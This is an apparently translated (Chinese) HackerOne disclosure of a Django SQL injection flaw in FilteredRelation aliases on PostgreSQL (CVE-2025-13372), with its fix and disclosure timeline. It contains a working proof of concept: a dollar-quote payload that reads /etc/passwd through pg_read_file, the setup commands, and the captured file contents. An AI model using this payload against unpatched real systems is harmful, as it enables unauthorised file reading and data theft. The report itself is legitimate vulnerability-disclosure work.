Django PostgreSQL 安全漏洞:FilteredRelation 注解中的 SQL 注入风险

2 阅读3分钟

Django | 报告 #3417967 - 在PostgreSQL上注解FilteredRelation时潜在的SQL注入

时间线

  • 已验证身份的Hacker:已成功完成身份验证检查的黑客。
  • stackered 向 Django 提交了一份报告。
    • 时间:2025年11月9日,晚上8:26(UTC)

报告内容

嗨,Django 安全团队!

这个漏洞与 CVE 2025-57833CVE 2025-59681 相关,因为它源于 FORBIDDEN_ALIAS_PATTERN 中不完整的正则表达式过滤。

在 PostgreSQL 中,$ 符号可以用来替换引号,并在标签之间构建原始字符串,例如:$$something$$$tag$something$tag$。这可以被滥用来使部分查询被解释为原始字符串,而不是要执行的实际查询。在某些情况下,这允许构建注入,如下面的概念验证(PoC)所示。

以下 PoC 可以粘贴到 tests/filtered_relation/tests.py 文件的 FilteredRelationTests 类中。

PoC 代码 (712 字节)

def test_sqli(self):
    user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"

    qs = (
        Book.objects.annotate(**{
            user_data: FilteredRelation(
                "editor"),
        })
        .select_related(user_data)
    )

    try:
        import django
        for e in qs.all():
            print("######### 注入成功 #########")
            print(e.title)
            print("############################")
    except django.db.utils.ProgrammingError as e:
        print(f"------\n{e}")

这个 PoC 将从 PostgreSQL Docker 容器中读取 /etc/passwd 文件,你可以使用以下命令运行该容器:

docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=mysecretpassword -d postgres

tests/test_sqlite.py 文件修改为:

DATABASES = {
    "default": {
        "ENGINE": "django.db.backends.postgresql",
        "NAME": "django",
        "USER": "postgres",
        "PORT": 5432,
        "HOST": "localhost"
    },
}
SECRET_KEY = "mysecretpassword"

最后,可以使用以下命令执行 PoC:

cd django/tests
python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli

以下是输出结果,显示成功读取了 Docker 容器中的文件。

输出 (1.01 KiB)

######### 注入成功 #########
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash

############################

所执行的完整 SQL 查询如下:

完整SQL查询 (1.07 KiB)

SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

这个漏洞在此上下文中起作用,因为用户输入在查询中被多次反射,允许 $a$$b$$c$…… 等标签被闭合,并使查询的大部分内容被解释为 select 语句的原始字符串。

以下是简化后的查询,便于阅读:

SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

影响

这是一个 SQL 注入漏洞,允许窃取数据、读取系统文件(如 PoC 所示)或允许远程命令执行。

修复方案

修复方法是在 FORBIDDEN_ALIAS_PATTERN 正则表达式中添加 $ 符号。

后续处理流程

  • jacobtylerwalls (Django 员工) 发表了评论。

    • 时间:2025年11月10日,下午5:15(UTC)
    • 内容:感谢您的报告。我们将进行调查并尽快回复您。在此期间,请对此信息保密。如果您还没有查看,请查阅 Django 安全团队如何评估报告。请注意,我们可能需要几周时间才能完成分析。除非您发现新的相关信息,否则无需催促安全团队。所有报告都力求在行业标准的 90 天内解决。
  • jacobtylerwalls (Django 员工) 发表了评论。

    • 时间:14天前
    • 内容:您好 stackered,感谢您的报告和耐心等待。我们已经确认了该漏洞,并已为其分配了 CVE-2025-13372。我已附上我们提议的缓解解决方案。请您测试一下补丁,确保它能可靠地修复问题。我们计划在一篇博客文章中提及漏洞的发现者。使用 "stackered" 可以吗,或者您希望以其他方式署名?包含此修复的 Django 版本目前计划于 12 月 2 日发布。在更新版本发布之前,请对此保密。附件:0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch
  • jacobtylerwalls (Django 员工) 将状态更改为 已分类

    • 时间:14天前
  • stackered (已验证身份的Hacker) 发表了评论。

    • 时间:13天前
    • 内容:您好 Jacob,我已经测试了提议的补丁,并且无法再复现该问题。署名用 "stackered" 就可以,谢谢。祝您有美好的一天!
  • nessita (Django 员工) 关闭了报告并将状态更改为 已解决

    • 时间:3小时前
    • 内容:此问题已于 2025 年 12 月 2 日下午 2 点修复并发布。已发布 Django 安全版本:5.2.9、5.1.15 和 4.2.27。详细信息可在 Django 项目博客上找到。
  • The Internet Bug Bounty 已决定此报告不符合赏金资格。

    • 时间:3小时前
    • 内容:Django 不为安全报告提供金钱奖励。您可以按照以下链接向 Internet Bug Bounty 计划提交该问题。
  • nessita (Django 员工) 请求披露此报告。

    • 时间:3小时前
  • stackered 同意披露此报告。

    • 时间:3小时前
  • 此报告已被披露。

    • 时间:3小时前

报告信息摘要

  • 报告时间:2025年11月9日,晚上8:23(UTC)
  • 报告人:stackered
  • 报告对象:Django
  • 报告 ID:#3417967
  • 状态:已解决
  • 严重性:高 (8.1)
  • 披露时间:2025年12月2日,下午3:28(UTC)
  • 弱点类型:SQL 注入
  • CVE ID:CVE-2025-57833, CVE-2025-59681
  • 赏金:隐藏(无) biOK/hzhVF2yKaGc5mK8oXIEkdw1U0SUEAjO/010PZr9RfhPoQi2Nl74TDGw282o